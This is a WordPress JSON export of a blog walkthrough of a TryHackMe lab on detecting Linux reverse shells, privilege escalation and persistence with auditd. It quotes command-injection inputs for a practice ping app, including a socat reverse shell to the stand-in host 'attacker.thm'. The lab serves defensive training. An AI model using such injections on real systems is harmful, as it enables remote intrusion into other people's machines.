{"id":1779,"date":"2026-01-30T19:52:00","date_gmt":"2026-01-30T19:52:00","guid":{"rendered":"https:\/\/zombierollz.blog\/?p=1779"},"modified":"2026-01-30T13:52:34","modified_gmt":"2026-01-30T13:52:34","slug":"linux-threat-detection-3","status":"publish","type":"post","link":"https:\/\/zombierollz.blog\/?p=1779","title":{"rendered":"Linux Threat Detection 3"},"content":{"rendered":"\n

https:\/\/tryhackme.com\/room\/linuxthreatdetection3<\/a>
Created by: tryhackme, TactfulTurtle

In task 2, Reverse Shells, THM gives examples of how an attacker would go about starting a reverse shell!<\/p>\n\n\n\n

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In this lab , we are also launching the AttackBox along with our Linux Threat Detection VM.<\/p>\n\n\n\n

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“Run 127.0.0.1 && whoami<\/code> in the TryPingMe web app.
What output do you see after the ping results?”<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

“Now try spawning a reverse shell to the imaginary “attacker.thm” address.
Run 127.0.0.1 && socat TCP:attacker.thm:1337 EXEC:sh<\/code> in the web app.
What is the flag returned in the TryPingMe response?”<\/p>\n\n\n\n

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“Now look at the exported auditd logs at \/home\/ubuntu\/scenario<\/code>.
Which IP spawned a similar reverse shell via the TryPingMe app?”<\/p>\n\n\n\n

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On to task 3, Privilege Escalation Basics!<\/p>\n\n\n\n

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“Which command line was used to look for the “pass” keyword in files?”<\/p>\n\n\n\n

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“Which command line was used to escalate privileges to root?”<\/p>\n\n\n\n

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“”Looking at the detected .env file, what was the root password?”<\/p>\n\n\n\n

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On to Task 4, Startup Persistence! The main commands we will be using are “ausearch -i -f \/etc\/systemd” and “ausearch -i -x crontab”.<\/p>\n\n\n\n

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“What flag did you get after running the malware persisting as a service?”

First, you will run the given command of “ausearch -i -f \/etc\/systemd\/”. Looking through the logs, we see this:<\/p>\n\n\n\n

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“What flag did you get after running the malware persisting as a cron job?”<\/p>\n\n\n\n

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On to Task 5, Account Persistence! Attackers can use new user accounts, backdoored SSH keys, and application persistence (think WordPress) to maintain persistence.<\/p>\n\n\n\n

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“Which user was created and added to the sudo group?”<\/p>\n\n\n\n

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“Which file was changed to allow SSH key persistence?”<\/p>\n\n\n\n

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On to the last task, Task 6!

THM presents this yellow-highlighted graph of the MITRE ATT&CK matrix and what we have learned so far!<\/p>\n\n\n\n

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https:\/\/tryhackme.com\/room\/linuxthreatdetection3Created by: tryhackme, TactfulTurtle In task 2, Reverse Shells, THM gives examples of how an attacker would go about starting a reverse shell! In this lab , we are also launching the AttackBox along with our Linux Threat Detection VM. “Run 127.0.0.1 && whoami in the TryPingMe web app.What output do you see after the ping results?” […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1779","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"blocksy_meta":{"styles_descriptor":{"styles":{"desktop":"","tablet":"","mobile":""},"google_fonts":[],"version":8}},"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/posts\/1779","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1779"}],"version-history":[{"count":3,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/posts\/1779\/revisions"}],"predecessor-version":[{"id":1810,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=\/wp\/v2\/posts\/1779\/revisions\/1810"}],"wp:attachment":[{"href":"https:\/\/zombierollz.blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1779"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1779"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zombierollz.blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1779"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}